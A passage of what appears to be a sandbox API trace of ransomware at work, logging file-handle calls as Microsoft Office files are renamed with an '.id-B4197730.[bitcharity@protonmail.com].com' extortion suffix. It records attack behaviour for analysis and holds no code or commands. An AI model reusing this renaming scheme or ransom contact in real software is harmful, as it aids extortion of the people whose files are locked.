lpNewFilePointer=0x0) returned 1 [0271.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBREF.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgwebref.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.543] CloseHandle (hObject=0xff8) returned 1 [0271.544] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.544] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGWEBSBR.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgwebsbr.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.544] CloseHandle (hObject=0xff8) returned 1 [0271.545] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.545] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.545] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\DGZIPC.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\dgzipc.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.545] CloseHandle (hObject=0xff8) returned 1 [0271.546] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.546] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\EMAIL.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\email.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.546] CloseHandle (hObject=0xff8) returned 1 [0271.547] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.547] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\ENVELOPE.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\envelope.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.547] CloseHandle (hObject=0xff8) returned 1 [0271.548] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.548] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FLYER.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\flyer.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.548] CloseHandle (hObject=0xff8) returned 1 [0271.549] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.549] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\FOLDPROJ.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\foldproj.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.549] CloseHandle (hObject=0xff8) returned 1 [0271.550] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.550] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\GIFT.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\gift.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.550] CloseHandle (hObject=0xff8) returned 1 [0271.551] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.551] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\GREETING.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\greeting.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.551] CloseHandle (hObject=0xff8) returned 1 [0271.552] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.552] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\INVITE.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\invite.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.552] CloseHandle (hObject=0xff8) returned 1 [0272.712] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.712] SetFilePointerEx (in: hFile=0x128c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\PUBWIZ\\LABEL.XML.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\pubwiz\\label.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.712] CloseHandle (hObject=0x128c) returned 1 [0272.889] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.889] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.889] CloseHandle (hObject=0x1074) returned 1 [0272.890] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.890] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.890] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.890] CloseHandle (hObject=0x1074) returned 1 [0272.891] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.891] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.891] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.891] CloseHandle (hObject=0x1074) returned 1 [0272.892] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.892] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.892] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\accessmuiset.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.892] CloseHandle (hObject=0x1074) returned 1 [0272.893] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.893] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.894] CloseHandle (hObject=0x1074) returned 1 [0272.894] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.894] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcf.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.895] CloseHandle (hObject=0x1074) returned 1 [0272.895] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.895] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.895] CloseHandle (hObject=0x1074) returned 1 [0272.896] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.896] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\dcfmui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.897] CloseHandle (hObject=0x1074) returned 1 [0272.898] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.898] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.898] CloseHandle (hObject=0x1074) returned 1 [0272.899] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.899] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excel.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.899] CloseHandle (hObject=0x1074) returned 1 [0272.899] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.899] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.900] CloseHandle (hObject=0x1074) returned 1 [0272.900] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.900] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.900] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\excelmui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.901] CloseHandle (hObject=0x1074) returned 1 [0272.901] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.901] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.901] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.901] CloseHandle (hObject=0x1074) returned 1 [0272.903] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.903] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groove.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.903] CloseHandle (hObject=0x1074) returned 1 [0272.904] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.904] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.904] CloseHandle (hObject=0x1074) returned 1 [0272.905] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.906] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.906] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\groovemui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.906] CloseHandle (hObject=0x1074) returned 1 [0272.907] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.907] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.907] CloseHandle (hObject=0x1074) returned 1 [0272.908] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.908] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lync.x-none.msi.16.x-none.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.908] CloseHandle (hObject=0x1074) returned 1 [0272.910] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.910] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.910] CloseHandle (hObject=0x1074) returned 1 [0272.911] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.911] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\lyncmui.msi.16.en-us.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.911] CloseHandle (hObject=0x1074) returned 1 [0272.912] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.912] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\office.x-none.msi.16.x-none.boot.tree.dat.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.912] CloseHandle (hObject=0x1074) returned 1 [0272.917] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.918] SetFilePointerEx (in: hFile=0x1074, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x251fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.918] 